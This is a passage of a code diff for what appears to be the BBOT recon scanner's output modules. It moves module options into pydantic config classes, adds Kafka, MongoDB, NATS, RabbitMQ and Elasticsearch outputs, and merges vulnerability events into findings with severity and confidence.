+            description="Emit previous asset inventory as new events (use in conjunction with -n <old_scan_name>)",
+        )
+        recheck: bool = Field(
+            False,
+            description="When use_previous=True, don't retain past details like open ports or findings. Instead, allow them to be rediscovered by the new scan",
+        )
+        summary_netmask: int = Field(16, description="Subnet mask to use when summarizing IP addresses at end of scan")
 
     header_row = [
         "Host",
@@ -186,7 +191,8 @@ async def finish(self):
                                 asset.host, "DNS_NAME", parent=self.scan.root_event, raise_error=True
                             )
                             await self.emit_event(
-                                host_event, context="{module} emitted previous result: {event.type}: {event.data}"
+                                host_event,
+                                context="{module} emitted previous result: {event.type}: {event.pretty_string}",
                             )
                             for port in asset.ports:
                                 netloc = self.helpers.make_netloc(asset.host, port)
@@ -194,7 +200,7 @@ async def finish(self):
                                 if open_port_event:
                                     await self.emit_event(
                                         open_port_event,
-                                        context="{module} emitted previous result: {event.type}: {event.data}",
+                                        context="{module} emitted previous result: {event.type}: {event.pretty_string}",
                                     )
                         else:
                             for ip in asset.ip_addresses:
@@ -202,7 +208,8 @@ async def finish(self):
                                     ip, "IP_ADDRESS", parent=self.scan.root_event, raise_error=True
                                 )
                                 await self.emit_event(
-                                    ip_event, context="{module} emitted previous result: {event.type}: {event.data}"
+                                    ip_event,
+                                    context="{module} emitted previous result: {event.type}: {event.pretty_string}",
                                 )
                                 for port in asset.ports:
                                     netloc = self.helpers.make_netloc(ip, port)
@@ -210,7 +217,7 @@ async def finish(self):
                                     if open_port_event:
                                         await self.emit_event(
                                             open_port_event,
-                                            context="{module} emitted previous result: {event.type}: {event.data}",
+                                            context="{module} emitted previous result: {event.type}: {event.pretty_string}",
                                         )
             else:
                 self.warning(
@@ -290,8 +297,7 @@ def absorb_event(self, event):
         if not is_ip(event.host):
             self.host = event.host
 
-        dns_children = getattr(event, "_dns_children", {})
-        for rdtype, records in sorted(dns_children.items(), key=lambda x: x[0]):
+        for rdtype, records in sorted(event.dns_children.items(), key=lambda x: x[0]):
             for record in sorted([str(r) for r in records]):
                 self.dns_records.add(f"{rdtype}:{record}")
 
@@ -314,14 +320,11 @@ def absorb_event(self, event):
             self.ports.add(str(event.port))
 
         if event.type == "FINDING":
-            location = event.data.get("url", event.data.get("host", ""))
+            location = event.url or event.data.get("host", "")
             if location:
-                self.findings.add(f"{location}:{event.data['description']}")
-
-        if event.type == "VULNERABILITY":
-            location = event.data.get("url", event.data.get("host", ""))
-            if location:
-                self.findings.add(f"{location}:{event.data['description']}:{event.data['severity']}")
+                self.findings.add(
+                    f"{location}:{event.data['description']}:Severity: {event.data['severity']} Confidence: {event.data['confidence']}"
+                )
                 severity_int = severity_map.get(event.data.get("severity", "N/A"), 0)
                 if severity_int > self.risk_rating:
                     self.risk_rating = severity_int
@@ -339,9 +342,10 @@ def absorb_event(self, event):
                 if update_http_status or not self.http_title:
                     self.http_title = title
 
-        for tag in event.tags:
-            if tag.startswith("cdn-") or tag.startswith("cloud-"):
-                self.provider = tag
+        for host_meta in event.host_metadata.values():
+            providers = host_meta.get("cloud_providers", {})
+            if providers:
+                self.provider = ", ".join(providers.keys())
                 break
 
     @property
diff --git a/bbot/modules/output/base.py b/bbot/modules/output/base.py
index 5aa17d24c1..fefb4f3fad 100644
--- a/bbot/modules/output/base.py
+++ b/bbot/modules/output/base.py
@@ -46,6 +46,9 @@ def _event_precheck(self, event):
             else:
                 return False, "its type is omitted in the config"
 
+        if event.always_emit:
+            return True, "event is always emitted"
+
         # internal events like those from speculate, ipneighbor
         # or events that are over our report distance
         if event._internal:
diff --git a/bbot/modules/output/csv.py b/bbot/modules/output/csv.py
index 9b7d4b4bd9..c8187e3a9a 100644
--- a/bbot/modules/output/csv.py
+++ b/bbot/modules/output/csv.py
@@ -2,13 +2,15 @@
 from contextlib import suppress
 
 from bbot.modules.output.base import BaseOutputModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class CSV(BaseOutputModule):
     watched_events = ["*"]
     meta = {"description": "Output to CSV", "created_date": "2022-04-07", "author": "@TheTechromancer"}
-    options = {"output_file": ""}
-    options_desc = {"output_file": "Output to CSV file"}
+
+    class Config(BaseModuleConfig):
+        output_file: str = Field("", description="Output to CSV file")
 
     header_row = [
         "Event type",
@@ -60,7 +62,7 @@ async def handle_event(self, event):
                 "Event type": getattr(event, "type", ""),
                 "Event data": getattr(event, "data", ""),
                 "IP Address": ",".join(
-                    str(x) for x in getattr(event, "resolved_hosts", set()) if self.helpers.is_ip(x)
+                    str(x) for x in getattr(event, "resolved_hosts", frozenset()) if self.helpers.is_ip(x)
                 ),
                 "Source Module": str(getattr(event, "module_sequence", "")),
                 "Scope Distance": str(getattr(event, "scope_distance", "")),
diff --git a/bbot/modules/output/discord.py b/bbot/modules/output/discord.py
index 2aa4d21f84..82656e0e30 100644
--- a/bbot/modules/output/discord.py
+++ b/bbot/modules/output/discord.py
@@ -1,4 +1,5 @@
 from bbot.modules.templates.webhook import WebhookOutputModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class Discord(WebhookOutputModule):
@@ -8,10 +9,9 @@ class Discord(WebhookOutputModule):
         "created_date": "2023-08-14",
         "author": "@TheTechromancer",
     }
-    options = {"webhook_url": "", "event_types": ["VULNERABILITY", "FINDING"], "min_severity": "LOW", "retries": 10}
-    options_desc = {
-        "webhook_url": "Discord webhook URL",
-        "event_types": "Types of events to send",
-        "min_severity": "Only allow VULNERABILITY events of this severity or higher",
-        "retries": "Number of times to retry sending the message before skipping the event",
-    }
+
+    class Config(BaseModuleConfig):
+        webhook_url: str = Field("", description="Discord webhook URL", sensitive=True)
+        event_types: list[str] = Field(["FINDING"], description="Types of events to send")
+        min_severity: str = Field("LOW", description="Only allow FINDING events of this severity or higher")
+        retries: int = Field(10, description="Number of times to retry sending the message before skipping the event")
diff --git a/bbot/modules/output/elastic.py b/bbot/modules/output/elastic.py
new file mode 100644
index 0000000000..768a48bb6d
--- /dev/null
+++ b/bbot/modules/output/elastic.py
@@ -0,0 +1,31 @@
+from .webhook import webhook
+from bbot.core.config.models import BaseModuleConfig, Field
+
+
+class Elastic(webhook):
+    """
+    docker run -d -p 9200:9200 --name=bbot-elastic --v "$(pwd)/elastic_data:/usr/share/elasticsearch/data" -e ELASTIC_PASSWORD=bbotislife -m 1GB docker.elastic.co/elasticsearch/elasticsearch:8.16.0
+    """
+
+    watched_events = ["*"]
+    meta = {
+        "description": "Send scan results to Elasticsearch",
+        "created_date": "2022-11-21",
+        "author": "@TheTechromancer",
+    }
+
+    class Config(BaseModuleConfig):
+        url: str = Field(
+            "https://localhost:9200/bbot_events/_doc",
+            description="Elastic URL (e.g. https://localhost:9200/<your_index>/_doc)",
+            sensitive=True,
+        )
+        username: str = Field("elastic", description="Elastic username", sensitive=True)
+        password: str = Field("bbotislife", description="Elastic password", sensitive=True)
+        timeout: int = Field(10, description="HTTP timeout")
+
+    async def cleanup(self):
+        # refresh the index
+        doc_regex = self.helpers.re.compile(r"/[^/]+$")
+        refresh_url = doc_regex.sub("/_refresh", self.url)
+        await self.helpers.request(refresh_url, auth=self.auth)
diff --git a/bbot/modules/output/emails.py b/bbot/modules/output/emails.py
index 60d9a153c5..1eb1718181 100644
--- a/bbot/modules/output/emails.py
+++ b/bbot/modules/output/emails.py
@@ -1,17 +1,20 @@
 from bbot.modules.output.txt import TXT
 from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class Emails(TXT):
     watched_events = ["EMAIL_ADDRESS"]
-    flags = ["email-enum"]
+    flags = ["safe", "email-enum"]
     meta = {
         "description": "Output any email addresses found belonging to the target domain",
         "created_date": "2023-12-23",
         "author": "@domwhewell-sage",
     }
-    options = {"output_file": ""}
-    options_desc = {"output_file": "Output to file"}
+
+    class Config(BaseModuleConfig):
+        output_file: str = Field("", description="Output to file")
+
     in_scope_only = True
     accept_dupes = False
 
@@ -27,7 +30,7 @@ def _scope_distance_check(self, event):
     async def handle_event(self, event):
         if self.file is not None:
             self.emails_written += 1
-            self.file.write(f"{event.data}\n")
+            self.file.write(f"{event.pretty_string}\n")
             self.file.flush()
 
     async def report(self):
diff --git a/bbot/modules/output/json.py b/bbot/modules/output/json.py
index a35fa6aed7..7ac7c33c56 100644
--- a/bbot/modules/output/json.py
+++ b/bbot/modules/output/json.py
@@ -2,6 +2,7 @@
 from contextlib import suppress
 
 from bbot.modules.output.base import BaseOutputModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class JSON(BaseOutputModule):
@@ -11,20 +12,18 @@ class JSON(BaseOutputModule):
         "created_date": "2022-04-07",
         "author": "@TheTechromancer",
     }
-    options = {"output_file": "", "siem_friendly": False}
-    options_desc = {
-        "output_file": "Output to file",
-        "siem_friendly": "Output JSON in a SIEM-friendly format for ingestion into Elastic, Splunk, etc.",
-    }
+
+    class Config(BaseModuleConfig):
+        output_file: str = Field("", description="Output to file")
+
     _preserve_graph = True
 
     async def setup(self):
         self._prep_output_dir("output.json")
-        self.siem_friendly = self.config.get("siem_friendly", False)
         return True
 
     async def handle_event(self, event):
-        event_json = event.json(siem_friendly=self.siem_friendly)
+        event_json = event.json()
         event_str = json.dumps(event_json)
         if self.file is not None:
             self.file.write(event_str + "\n")
diff --git a/bbot/modules/output/kafka.py b/bbot/modules/output/kafka.py
new file mode 100644
index 0000000000..101a38f59f
--- /dev/null
+++ b/bbot/modules/output/kafka.py
@@ -0,0 +1,48 @@
+import json
+from aiokafka import AIOKafkaProducer
+
+from bbot.modules.output.base import BaseOutputModule
+from bbot.core.config.models import BaseModuleConfig, Field
+
+
+class Kafka(BaseOutputModule):
+    watched_events = ["*"]
+    meta = {
+        "description": "Output scan data to a Kafka topic",
+        "created_date": "2024-11-22",
+        "author": "@TheTechromancer",
+    }
+
+    class Config(BaseModuleConfig):
+        bootstrap_servers: str = Field(
+            "localhost:9092", description="A comma-separated list of Kafka server addresses"
+        )
+        topic: str = Field("bbot_events", description="The Kafka topic to publish events to")
+
+    deps_pip = ["aiokafka~=0.12.0"]
+
+    async def setup(self):
+        self.bootstrap_servers = self.config.get("bootstrap_servers", "localhost:9092")
+        self.topic = self.config.get("topic", "bbot_events")
+        self.producer = AIOKafkaProducer(bootstrap_servers=self.bootstrap_servers)
+
+        # Start the producer
+        await self.producer.start()
+        self.verbose("Kafka producer started successfully")
+        return True
+
+    async def handle_event(self, event):
+        event_json = event.json()
+        event_data = json.dumps(event_json).encode("utf-8")
+        while 1:
+            try:
+                await self.producer.send_and_wait(self.topic, event_data)
+                break
+            except Exception as e:
+                self.warning(f"Error sending event to Kafka: {e}, retrying...")
+                await self.helpers.sleep(1)
+
+    async def cleanup(self):
+        # Stop the producer
+        await self.producer.stop()
+        self.verbose("Kafka producer stopped successfully")
diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py
new file mode 100644
index 0000000000..13f3e09fed
--- /dev/null
+++ b/bbot/modules/output/mongo.py
@@ -0,0 +1,93 @@
+from contextlib import suppress
+
+from pymongo import AsyncMongoClient
+
+from bbot.models.pydantic import Event, Scan, Target
+from bbot.modules.output.base import BaseOutputModule
+from bbot.core.config.models import BaseModuleConfig, Field
+
+
+class Mongo(BaseOutputModule):
+    """
+    docker run --rm -p 27017:27017 mongo
+    """
+
+    watched_events = ["*"]
+    meta = {
+        "description": "Output scan data to a MongoDB database",
+        "created_date": "2024-11-17",
+        "author": "@TheTechromancer",
+    }
+
+    class Config(BaseModuleConfig):
+        uri: str = Field("mongodb://localhost:27017", description="The URI of the MongoDB server", sensitive=True)
+        database: str = Field("bbot", description="The name of the database to use")
+        username: str = Field("", description="The username to use to connect to the database", sensitive=True)
+        password: str = Field("", description="The password to use to connect to the database", sensitive=True)
+        collection_prefix: str = Field("", description="Prefix the name of each collection with this string")
+
+    deps_pip = ["pymongo~=4.15"]
+
+    async def setup(self):
+        self.uri = self.config.get("uri", "mongodb://localhost:27017")
+        self.username = self.config.get("username", "")
+        self.password = self.config.get("password", "")
+        self.db_client = AsyncMongoClient(self.uri, username=self.username, password=self.password)
+
+        # Ping the server to confirm a successful connection
+        try:
+            await self.db_client.admin.command("ping")
+            self.verbose("MongoDB connection successful")
+        except Exception as e:
+            return False, f"Failed to connect to MongoDB: {e}"
+
+        self.db_name = self.config.get("database", "bbot")
+        self.db = self.db_client[self.db_name]
+        self.collection_prefix = self.config.get("collection_prefix", "")
+        self.events_collection = self.db[f"{self.collection_prefix}events"]
+        self.scans_collection = self.db[f"{self.collection_prefix}scans"]
+        self.targets_collection = self.db[f"{self.collection_prefix}targets"]
+
+        # Build an index for each field in reverse_host and host
+        for fieldname, metadata in Event.indexed_fields().items():
+            if "indexed" in metadata:
+                unique = "unique" in metadata
+                await self.events_collection.create_index([(fieldname, 1)], unique=unique)
+                self.verbose(f"Index created for field: {fieldname} (unique={unique})")
+
+        return True
+
+    async def handle_event(self, event):
+        event_json = event.json()
+        event_pydantic = Event(**event_json)
+        while 1:
+            try:
+                await self.events_collection.insert_one(event_pydantic.model_dump())
+                break
+            except Exception as e:
+                self.warning(f"Error inserting event into MongoDB: {e}, retrying...")
+                self.trace()
+                await self.helpers.sleep(1)
+
+        if event.type == "SCAN":
+            scan_json = Scan(**event.data_json).model_dump()
+            existing_scan = await self.scans_collection.find_one({"id": event_pydantic.id})
+            if existing_scan:
+                await self.scans_collection.replace_one({"id": event_pydantic.id}, scan_json)
+                self.verbose(f"Updated scan event with ID: {event_pydantic.id}")
+            else:
+                # Insert as a new scan if no existing scan is found
+                await self.scans_collection.insert_one(event_pydantic.model_dump())
+                self.verbose(f"Inserted new scan event with ID: {event_pydantic.id}")
+
+            target_data = scan_json.get("target", {})
+            target = Target(**target_data)
+            existing_target = await self.targets_collection.find_one({"hash": target.hash})
+            if existing_target:
+                await self.targets_collection.replace_one({"hash": target.hash}, target.model_dump())
+            else:
+                await self.targets_collection.insert_one(target.model_dump())
+
+    async def cleanup(self):
+        with suppress(Exception):
+            await self.db_client.aclose()
diff --git a/bbot/modules/output/mysql.py b/bbot/modules/output/mysql.py
index 8d9a1f7f4c..b09d101b48 100644
--- a/bbot/modules/output/mysql.py
+++ b/bbot/modules/output/mysql.py
@@ -1,4 +1,5 @@
 from bbot.modules.templates.sql import SQLTemplate
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class MySQL(SQLTemplate):
@@ -8,20 +9,17 @@ class MySQL(SQLTemplate):
         "created_date": "2024-11-13",
         "author": "@TheTechromancer",
     }
-    options = {
-        "username": "root",
-        "password": "bbotislife",
-        "host": "localhost",
-        "port": 3306,
-        "database": "bbot",
-    }
-    options_desc = {
-        "username": "The username to connect to MySQL",
-        "password": "The password to connect to MySQL",
-        "host": "The server running MySQL",
-        "port": "The port to connect to MySQL",
-        "database": "The database name to connect to",
-    }
+
+    class Config(BaseModuleConfig):
+        username: str = Field("root", description="The username to connect to MySQL", sensitive=True)
+        password: str = Field("bbotislife", description="The password to connect to MySQL", sensitive=True)
+        host: str = Field("localhost", description="The server running MySQL")
+        port: int = Field(3306, description="The port to connect to MySQL")
+        database: str = Field("bbot", description="The database name to connect to")
+        retries: int = Field(
+            10, description="Number of times to retry connecting to the database (1 second between retries)"
+        )
+
     deps_pip = ["sqlmodel", "aiomysql"]
     protocol = "mysql+aiomysql"
 
diff --git a/bbot/modules/output/nats.py b/bbot/modules/output/nats.py
new file mode 100644
index 0000000000..b699f20d80
--- /dev/null
+++ b/bbot/modules/output/nats.py
@@ -0,0 +1,51 @@
+import json
+import nats
+from bbot.modules.output.base import BaseOutputModule
+from bbot.core.config.models import BaseModuleConfig, Field
+
+
+class NATS(BaseOutputModule):
+    watched_events = ["*"]
+    meta = {
+        "description": "Output scan data to a NATS subject",
+        "created_date": "2024-11-22",
+        "author": "@TheTechromancer",
+    }
+
+    class Config(BaseModuleConfig):
+        servers: list = Field([], description="A list of NATS server addresses")
+        subject: str = Field("bbot_events", description="The NATS subject to publish events to")
+
+    deps_pip = ["nats-py"]
+
+    async def setup(self):
+        self.servers = list(self.config.get("servers", []))
+        if not self.servers:
+            return False, "NATS servers are required"
+        self.subject = self.config.get("subject", "bbot_events")
+
+        # Connect to the NATS server
+        try:
+            self.nc = await nats.connect(self.servers)
+        except Exception as e:
+            import traceback
+
+            return False, f"Error connecting to NATS: {e}\n{traceback.format_exc()}"
+        self.verbose("NATS client connected successfully")
+        return True
+
+    async def handle_event(self, event):
+        event_json = event.json()
+        event_data = json.dumps(event_json).encode("utf-8")
+        while 1:
+            try:
+                await self.nc.publish(self.subject, event_data)
+                break
+            except Exception as e:
+                self.warning(f"Error sending event to NATS: {e}, retrying...")
+                await self.helpers.sleep(1)
+
+    async def cleanup(self):
+        # Close the NATS connection
+        await self.nc.close()
+        self.verbose("NATS client disconnected successfully")
diff --git a/bbot/modules/output/neo4j.py b/bbot/modules/output/neo4j.py
index b859af516f..290f6bdf92 100644
--- a/bbot/modules/output/neo4j.py
+++ b/bbot/modules/output/neo4j.py
@@ -4,6 +4,7 @@
 from neo4j import AsyncGraphDatabase
 
 from bbot.modules.output.base import BaseOutputModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 # silence annoying neo4j logger
@@ -33,12 +34,12 @@ class neo4j(BaseOutputModule):
 
     watched_events = ["*"]
     meta = {"description": "Output to Neo4j", "created_date": "2022-04-07", "author": "@TheTechromancer"}
-    options = {"uri": "bolt://localhost:7687", "username": "neo4j", "password": "bbotislife"}
-    options_desc = {
-        "uri": "Neo4j server + port",
-        "username": "Neo4j username",
-        "password": "Neo4j password",
-    }
+
+    class Config(BaseModuleConfig):
+        uri: str = Field("bolt://localhost:7687", description="Neo4j server + port", sensitive=True)
+        username: str = Field("neo4j", description="Neo4j username", sensitive=True)
+        password: str = Field("bbotislife", description="Neo4j password", sensitive=True)
+
     deps_pip = ["neo4j"]
     _batch_size = 500
     _preserve_graph = True
@@ -46,11 +47,8 @@ class neo4j(BaseOutputModule):
     async def setup(self):
         try:
             self.driver = AsyncGraphDatabase.driver(
-                uri=self.config.get("uri", self.options["uri"]),
-                auth=(
-                    self.config.get("username", self.options["username"]),
-                    self.config.get("password", self.options["password"]),
-                ),
+                uri=self.config.get("uri"),
+                auth=(self.config.get("username"), self.config.get("password")),
             )
             self.session = self.driver.session()
             await self.session.run("Match () Return 1 Limit 1")
@@ -92,7 +90,7 @@ async def handle_batch(self, *all_events):
                 src_id = all_ids[parent.id]
                 dst_id = all_ids[event.id]
             except KeyError as e:
-                self.error(f'Error "{e}" correlating {parent.id}:{parent.data} --> {event.id}:{event.data}')
+                self.error(f'Error "{e}" correlating {parent.id}:{parent.data} --> {event.id}:{event.pretty_string}')
                 continue
             rel_ids.append((src_id, module, timestamp, dst_id))
 
@@ -108,7 +106,7 @@ async def merge_events(self, events, event_type, id_only=False):
                 # we pop the timestamp because it belongs on the relationship
                 event_json.pop("timestamp")
                 # nested data types aren't supported in neo4j
-                for key in ("dns_children", "discovery_path"):
+                for key in ("dns_children", "discovery_path", "host_metadata"):
                     if key in event_json:
                         event_json[key] = json.dumps(event_json[key])
                 insert_data.append(event_json)
diff --git a/bbot/modules/output/nmap_xml.py b/bbot/modules/output/nmap_xml.py
index 52698e0de8..9a0cee27eb 100644
--- a/bbot/modules/output/nmap_xml.py
+++ b/bbot/modules/output/nmap_xml.py
@@ -1,6 +1,7 @@
 import sys
 from xml.dom import minidom
 from datetime import datetime
+from zoneinfo import ZoneInfo
 from xml.etree.ElementTree import Element, SubElement, tostring
 
 from bbot import __version__
@@ -76,7 +77,7 @@ async def handle_event(self, event):
     async def report(self):
         scan_start_time = str(int(self.scan.start_time.timestamp()))
         scan_start_time_str = self.scan.start_time.strftime("%a %b %d %H:%M:%S %Y")
-        scan_end_time = datetime.now()
+        scan_end_time = datetime.now(ZoneInfo("UTC"))
         scan_end_time_str = scan_end_time.strftime("%a %b %d %H:%M:%S %Y")
         scan_end_time_timestamp = str(scan_end_time.timestamp())
         scan_duration = scan_end_time - self.scan.start_time
diff --git a/bbot/modules/output/postgres.py b/bbot/modules/output/postgres.py
index 45beb7c7bc..a94ade61b8 100644
--- a/bbot/modules/output/postgres.py
+++ b/bbot/modules/output/postgres.py
@@ -1,4 +1,5 @@
 from bbot.modules.templates.sql import SQLTemplate
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class Postgres(SQLTemplate):
@@ -8,20 +9,17 @@ class Postgres(SQLTemplate):
         "created_date": "2024-11-08",
         "author": "@TheTechromancer",
     }
-    options = {
-        "username": "postgres",
-        "password": "bbotislife",
-        "host": "localhost",
-        "port": 5432,
-        "database": "bbot",
-    }
-    options_desc = {
-        "username": "The username to connect to Postgres",
-        "password": "The password to connect to Postgres",
-        "host": "The server running Postgres",
-        "port": "The port to connect to Postgres",
-        "database": "The database name to connect to",
-    }
+
+    class Config(BaseModuleConfig):
+        username: str = Field("postgres", description="The username to connect to Postgres", sensitive=True)
+        password: str = Field("bbotislife", description="The password to connect to Postgres", sensitive=True)
+        host: str = Field("localhost", description="The server running Postgres")
+        port: int = Field(5432, description="The port to connect to Postgres")
+        database: str = Field("bbot", description="The database name to connect to")
+        retries: int = Field(
+            10, description="Number of times to retry connecting to the database (1 second between retries)"
+        )
+
     deps_pip = ["sqlmodel", "asyncpg"]
     protocol = "postgresql+asyncpg"
 
diff --git a/bbot/modules/output/python.py b/bbot/modules/output/python.py
deleted file mode 100644
index 81ceb360ed..0000000000
--- a/bbot/modules/output/python.py
+++ /dev/null
@@ -1,9 +0,0 @@
-from bbot.modules.output.base import BaseOutputModule
-
-
-class python(BaseOutputModule):
-    watched_events = ["*"]
-    meta = {"description": "Output via Python API", "created_date": "2022-09-13", "author": "@TheTechromancer"}
-
-    async def _worker(self):
-        pass
diff --git a/bbot/modules/output/rabbitmq.py b/bbot/modules/output/rabbitmq.py
new file mode 100644
index 0000000000..f2f6150870
--- /dev/null
+++ b/bbot/modules/output/rabbitmq.py
@@ -0,0 +1,63 @@
+import json
+import aio_pika
+
+from bbot.modules.output.base import BaseOutputModule
+from bbot.core.config.models import BaseModuleConfig, Field
+
+
+class RabbitMQ(BaseOutputModule):
+    watched_events = ["*"]
+    meta = {
+        "description": "Output scan data to a RabbitMQ queue",
+        "created_date": "2024-11-22",
+        "author": "@TheTechromancer",
+    }
+
+    class Config(BaseModuleConfig):
+        url: str = Field("amqp://guest:guest@localhost/", description="The RabbitMQ connection URL", sensitive=True)
+        queue: str = Field("bbot_events", description="The RabbitMQ queue to publish events to")
+
+    deps_pip = ["aio_pika~=9.5.0"]
+
+    async def setup(self):
+        self.rabbitmq_url = self.config.get("url", "amqp://guest:guest@localhost/")
+        self.queue_name = self.config.get("queue", "bbot_events")
+
+        # Connect to RabbitMQ (retry in case the server is still starting)
+        max_retries = 30
+        for attempt in range(max_retries):
+            try:
+                self.connection = await aio_pika.connect_robust(self.rabbitmq_url)
+                self.channel = await self.connection.channel()
+                self.queue = await self.channel.declare_queue(self.queue_name, durable=True)
+                self.verbose("RabbitMQ connection and queue setup successfully")
+                return True
+            except Exception as e:
+                if attempt < max_retries - 1:
+                    self.verbose(f"RabbitMQ not ready (attempt {attempt + 1}/{max_retries}): {e}")
+                    await self.helpers.sleep(1)
+                else:
+                    self.error(f"Failed to connect to RabbitMQ after {max_retries} attempts: {e}")
+                    return False
+
+    async def handle_event(self, event):
+        event_json = event.json()
+        event_data = json.dumps(event_json).encode("utf-8")
+
+        # Publish the message to the queue
+        while 1:
+            try:
+                await self.channel.default_exchange.publish(
+                    aio_pika.Message(body=event_data),
+                    routing_key=self.queue_name,
+                )
+                break
+            except Exception as e:
+                self.error(f"Error publishing message to RabbitMQ: {e}, rerying...")
+                await self.helpers.sleep(1)
+
+    async def cleanup(self):
+        # Close the connection
+        if hasattr(self, "connection"):
+            await self.connection.close()
+            self.verbose("RabbitMQ connection closed successfully")
diff --git a/bbot/modules/output/slack.py b/bbot/modules/output/slack.py
index d65c816b3e..3b80daf9e1 100644
--- a/bbot/modules/output/slack.py
+++ b/bbot/modules/output/slack.py
@@ -1,6 +1,7 @@
 import yaml
 
 from bbot.modules.templates.webhook import WebhookOutputModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class Slack(WebhookOutputModule):
@@ -10,23 +11,22 @@ class Slack(WebhookOutputModule):
         "created_date": "2023-08-14",
         "author": "@TheTechromancer",
     }
-    options = {"webhook_url": "", "event_types": ["VULNERABILITY", "FINDING"], "min_severity": "LOW", "retries": 10}
-    options_desc = {
-        "webhook_url": "Discord webhook URL",
-        "event_types": "Types of events to send",
-        "min_severity": "Only allow VULNERABILITY events of this severity or higher",
-        "retries": "Number of times to retry sending the message before skipping the event",
-    }
+
+    class Config(BaseModuleConfig):
+        webhook_url: str = Field("", description="Slack webhook URL", sensitive=True)
+        event_types: list[str] = Field(["FINDING"], description="Types of events to send")
+        min_severity: str = Field("LOW", description="Only allow FINDING events of this severity or higher")
+        retries: int = Field(10, description="Number of times to retry sending the message before skipping the event")
+
     content_key = "text"
 
     def format_message_str(self, event):
         event_tags = ",".join(sorted(event.tags))
-        return f"`[{event.type}]`\t*`{event.data}`*\t`{event_tags}`"
+        return f"`[{event.type}]`\t*`{event.pretty_string}`*\t`{event_tags}`"
 
     def format_message_other(self, event):
         event_yaml = yaml.dump(event.data)
         event_type = f"*`[{event.type}]`*"
-        if event.type in ("VULNERABILITY", "FINDING"):
-            event_str, color = self.get_severity_color(event)
-            event_type = f"{color} `{event_str}` {color}"
+        event_str, severity_color, confidence_color = self.get_colors(event)
+        event_type = f"Severity: {severity_color} Confidence: {confidence_color} {event_str}"
         return f"""*{event_type}*\n```\n{event_yaml}```"""
diff --git a/bbot/modules/output/splunk.py b/bbot/modules/output/splunk.py
index 0c0a0dd804..5ad09fa93a 100644
--- a/bbot/modules/output/splunk.py
+++ b/bbot/modules/output/splunk.py
@@ -1,5 +1,6 @@
 from bbot.errors import WebError
 from bbot.modules.output.base import BaseOutputModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class Splunk(BaseOutputModule):
@@ -9,20 +10,13 @@ class Splunk(BaseOutputModule):
         "created_date": "2024-02-17",
         "author": "@w0Tx",
     }
-    options = {
-        "url": "",
-        "hectoken": "",
-        "index": "",
-        "source": "",
-        "timeout": 10,
-    }
-    options_desc = {
-        "url": "Web URL",
-        "hectoken": "HEC Token",
-        "index": "Index to send data to",
-        "source": "Source path to be added to the metadata",
-        "timeout": "HTTP timeout",
-    }
+
+    class Config(BaseModuleConfig):
+        url: str = Field("", description="Web URL", sensitive=True)
+        hectoken: str = Field("", description="HEC Token", sensitive=True)
+        index: str = Field("", description="Index to send data to")
+        source: str = Field("", description="Source path to be added to the metadata")
+        timeout: int = Field(10, description="HTTP timeout")
 
     async def setup(self):
         self.url = self.config.get("url", "")
diff --git a/bbot/modules/output/sqlite.py b/bbot/modules/output/sqlite.py
index 261b13b6e2..f48b800554 100644
--- a/bbot/modules/output/sqlite.py
+++ b/bbot/modules/output/sqlite.py
@@ -1,6 +1,7 @@
 from pathlib import Path
 
 from bbot.modules.templates.sql import SQLTemplate
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class SQLite(SQLTemplate):
@@ -10,12 +11,13 @@ class SQLite(SQLTemplate):
         "created_date": "2024-11-07",
         "author": "@TheTechromancer",
     }
-    options = {
-        "database": "",
-    }
-    options_desc = {
-        "database": "The path to the sqlite database file",
-    }
+
+    class Config(BaseModuleConfig):
+        database: str = Field("", description="The path to the sqlite database file")
+        retries: int = Field(
+            10, description="Number of times to retry connecting to the database (1 second between retries)"
+        )
+
     deps_pip = ["sqlmodel", "aiosqlite"]
 
     async def setup(self):
diff --git a/bbot/modules/output/stdout.py b/bbot/modules/output/stdout.py
index 59a121bd47..0252856e9e 100644
--- a/bbot/modules/output/stdout.py
+++ b/bbot/modules/output/stdout.py
@@ -1,34 +1,49 @@
+import os
+import sys
 import json
+from typing import Literal
 
-from bbot.logger import log_to_stderr
 from bbot.modules.output.base import BaseOutputModule
+from pydantic import Field, field_validator
+from bbot.core.config.models import BaseModuleConfig
 
 
 class Stdout(BaseOutputModule):
     watched_events = ["*"]
     meta = {"description": "Output to text", "created_date": "2024-04-03", "author": "@TheTechromancer"}
-    options = {"format": "text", "event_types": [], "event_fields": [], "in_scope_only": False, "accept_dupes": True}
-    options_desc = {
-        "format": "Which text format to display, choices: text,json",
-        "event_types": "Which events to display, default all event types",
-        "event_fields": "Which event fields to display",
-        "in_scope_only": "Whether to only show in-scope events",
-        "accept_dupes": "Whether to show duplicate events, default True",
+
+    class Config(BaseModuleConfig):
+        format: Literal["text", "json"] = Field("text", description="Which text format to display, choices: text,json")
+        event_types: list = Field([], description="Which events to display, default all event types")
+        event_fields: list = Field([], description="Which event fields to display")
+        in_scope_only: bool = Field(False, description="Whether to only show in-scope events")
+        accept_dupes: bool = Field(True, description="Whether to show duplicate events, default True")
+
+        @field_validator("format", mode="before")
+        @classmethod
+        def _normalize_case(cls, v):
+            return v.strip().lower() if isinstance(v, str) else v
+
+    vuln_severity_map = {
+        "INFO": "HUGEINFO",
+        "LOW": "HUGEWARNING",
+        "MEDIUM": "HUGEWARNING",
+        "HIGH": "CRITICAL",
+        "CRITICAL": "CRITICAL",
     }
-    vuln_severity_map = {"LOW": "HUGEWARNING", "MEDIUM": "HUGEWARNING", "HIGH": "CRITICAL", "CRITICAL": "CRITICAL"}
-    format_choices = ["text", "json"]
 
     async def setup(self):
         self.text_format = self.config.get("format", "text").strip().lower()
-        if self.text_format not in self.format_choices:
-            return (
-                False,
-                f'Invalid text format choice, "{self.text_format}" (choices: {",".join(self.format_choices)})',
-            )
+        # guard the unvalidated programmatic path (Scanner(config=...) skips validation),
+        # otherwise an unknown format silently drops every event in handle_event
+        if self.text_format not in ("text", "json"):
